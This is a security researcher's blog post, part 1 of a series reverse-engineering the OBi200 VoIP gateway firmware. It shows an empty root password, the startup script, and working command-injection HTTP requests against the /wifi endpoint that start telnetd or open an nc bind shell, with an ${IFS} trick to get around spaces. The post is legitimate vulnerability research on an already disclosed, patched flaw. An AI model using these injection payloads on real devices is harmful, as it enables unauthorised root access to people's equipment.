Reverse Engineering the OBi200 Google Voice Appliance: Part 1

The OBi200 by Obihai is a VoIP gateway for home/SOHO that integrates with Google Voice. It supports most standard VoIP features out of the box and can integrate with virtually any “bring your own device” SIP service. I purchased one earlier this year to act as a landline in my home (without monthly fees) and it’s worked pretty well so far. But before full installation, I decided to dig deeper into how it worked.

Firmware Analysis

I plugged in the appliance and opened up the web interface. One of the first things I did was check the shipped firmware version:

Above, you can see the OBi200 was shipped with 3.0.1 (Build: 4492). A quick check for the latest version available on Obihai’s website showed 3.1.1 (Build: 5463EX) — obviously, way behind! Though rather than update it immediately, I decided to keep the old version and poke around in case there were any patched vulnerabilities.

Next, I grabbed the firmware from Obi’s website. I couldn’t easily find the source for the exact version shipped with my appliance, but finding 3.0.1 (Build: 4738) was close enough for my purposes. A binwalk scan of the firmware produced the following results:

Note there are several Squashfs images above as well as an ARM uImage file. All seemed promising to explore further, so I extracted them to my local filesystem.

Moving through the filesystem, I was able to learn much more about the underlying implementation of the appliance. Here’s a look at the /etc/passwd file:


As you can see above, there’s no password set for root. The startup script at /etc/rc also had some interesting info:

/bin/swcfg -pw 0 0 0 0x3800

hostname OBi202
#hostname FFxAV

mount -t proc proc /proc

# Create /var on RAM disk
mount -t ramfs none /var
mkdir /var/lib
mkdir /var/run
mkdir /var/log
mkdir /var/ppp
mkdir /var/tmp

cp -p /etc/ppp.ori/* /var/ppp
touch /var/tmp/resolv.conf

#mount -t squashfs /dev/mtdblock7 /obi
# Making the /etc directory point to MTD4
# mount -t jffs2 /dev/mtdblock4 /etc -o sync

# Making the /etc directory point to MTD4
# mount -t jffs2 /dev/mtdblock4 /scratch -o sync

# gateway begin
mount -t sysfs none /sys

mkdir /var/run/ppp -p # needed by pppd
mkdir /var/log/ppp -p
mkdir /var/lock # needed by wvdial

#echo "******** Start udev"
mount -n -t tmpfs -o mode=0755 udev /dev
cp -a -f /dev0/* /dev
# It's all over netlink now
if [ -e /proc/sys/kernel/hotplug ]; then
	echo "" > /proc/sys/kernel/hotplug
#udevd --daemon
#echo "start monitor"
#udevadm monitor -e >/dev/.udev.log &
#echo "start trigger"
#udevadm trigger
#echo "start settle"
#udevadm settle

mount -t tmpfs none /dev/shm -o size=512K
mount -t devpts none /dev/pts

#mknod -m 644 /dev/urandom c 1 9
#chown root /dev/urandom

echo "******** Start syslogd"
touch /var/log/messages

# gateway end

# Start network device
cd /etc
#. ./ &
. ./
cd /

echo "===> Obi <==="
cd /obi
#cd /usr/local/obi
./obi &

Note the leftover debugging/development lines commented out above showing a little more about the environment. After the initial setup, the script changes to the /obi/ directory containing all of the vendor binaries and launches the main obi script (and ultimately, the obiapp binary).

Popping Shells

After some quick searching on the above file names, I found a Full Disclosure post from last year disclosing a number of vulnerabilities in Obihai’s OBi1000 IP Phone products. Since the obiapp binary was mentioned in one of the PoCs and there were similar URI structures found in the Obi200, it seemed there was some shared code across both products. I tested the command injection vulnerability on my appliance and confirmed the device rebooted:

GET /wifi?checkssid=$(reboot) HTTP/1.1
Host: OBi202

Next, I tried to start the telnet daemon but, after a few attempts, I found port 23 was specifically blocked by the appliance. I was eventually able to get a root shell running telnetd on another port:

GET /wifi?checkssid=$(telnetd -p 2280 &) HTTP/1.1
Host: OBi202

Additional Injections

I was curious if there were other similar injection points, so I decided to explore a bit more. I disassembled the obiapp binary in IDA and found the decision point for routing the above checkssid request. In close proximity, I found several other requests that were unescaped in similar ways:

And a couple of additional PoCs:

GET /wifi?reconnect=$(telnetd -p 2280 &) HTTP/1.1
Host: OBi202
GET /wifi?conf_cc_adhoc=$(nc${IFS}-l${IFS}-p${IFS}2281${IFS}-e${IFS}/bin/sh) HTTP/1.1
Host: OBi202

Note that the second request above is formatted slightly differently to achieve execution — this was due to the process not decoding spaces before passing them to the system() call.

Preserving Root

It seemed likely the vulns disclosed in the post above were already patched in the latest firmware (I confirmed later they were), but I wanted to maintain root after upgrading to continue research. I decided getting console access would be my best bet, so I grepped dmesg for mentions of a serial interface:

Note the serial interface listening on /dev/ttyS0 above — now, it was just a matter of finding the debug port on the board.

In part 2 of this post, I’ll focus on identifying and connecting to the board’s UART pins in order to get console access to the appliance.

Share this: Facebooktwitterlinkedin